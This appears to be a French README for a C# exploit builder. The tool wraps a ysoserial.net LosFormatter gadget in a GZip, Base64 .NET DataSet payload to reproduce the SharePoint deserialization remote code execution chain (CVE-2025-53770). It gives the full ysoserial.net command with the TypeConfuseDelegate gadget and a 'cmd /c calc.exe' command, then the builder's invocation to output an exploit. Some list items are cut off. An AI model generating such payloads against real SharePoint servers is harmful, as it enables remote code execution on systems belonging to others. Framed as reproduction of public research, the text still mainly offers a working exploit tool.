
Outil C# qui génère une charge utile .NET DataSet compressée en GZip et encodée en Base64 à l'aide de LosFormatter pour reproduire la chaîne RCE par désérialisation de SharePoint (CVE-2025-53770).
Il s'agit d'un outil C# simple qui construit une charge utile .NET DataSet compressée en GZip et encodée en Base64, à l'aide d'une charge utile interne encodée avec LosFormatter. Il est conçu pour aider à reproduire la chaîne RCE par désérialisation de SharePoint décrite dans des recherches publiques.
Vous lui fournissez une charge utile encodée en Base64 (comme celle de ysoserial.net), et il :
.b64Commencez par générer votre charge utile avec ysoserial.net :
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
Exécutez ensuite cet outil :
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
Cela générera :
De plus, si vous ne spécifiez pas --a, --b ou --c, l'outil génère des noms aléatoires en minuscules.
Notes
Cet outil ne valide ni n'inspecte la charge utile que vous lui fournissez.
Si vous testez localement et désérialisez manuellement, elle peut s'exécuter (par exemple, lancer calc).